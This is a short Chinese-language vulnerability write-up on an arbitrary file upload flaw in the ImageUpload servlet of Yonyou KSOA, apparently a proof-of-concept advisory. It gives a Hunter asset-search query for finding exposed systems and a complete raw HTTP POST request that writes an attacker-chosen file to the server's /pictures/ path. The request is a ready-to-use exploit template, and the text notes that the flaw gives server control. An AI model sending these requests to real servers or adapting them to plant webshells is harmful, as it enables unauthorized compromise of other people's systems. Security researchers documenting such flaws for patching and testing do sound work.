用友时空KSOA ImageUpload 任意文件上传漏洞
一、漏洞简介
用友时空KSOA是建立在SOA理念指导下研发的新一代产品,是根据流通企业前沿的IT需求推出的统一的IT基础架构,它可以让流通企业各个时期建立的IT系统之间彼此轻松对话。用友时空KSOA平台ImageUpload处存在任意文件上传漏洞，攻击者通过漏洞可以获取服务器权限。
二、影响版本
- 用友时空KSOA
三、资产测绘
- hunter
app.name="用友时空 KSOA"
- 登录页面
四、漏洞复现
⚠️：Content-type`header`头需为空
POST /servlet/com.sksoft.bill.ImageUpload?filename=1.txt&filepath=/ HTTP/1.1
User-Agent: Java/1.8.0_381
Host: {hostname}
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-type:
Content-Length: 5
Connection: close
hello
上传文件路径
http://xx.xx.xx.xx/pictures/1.txt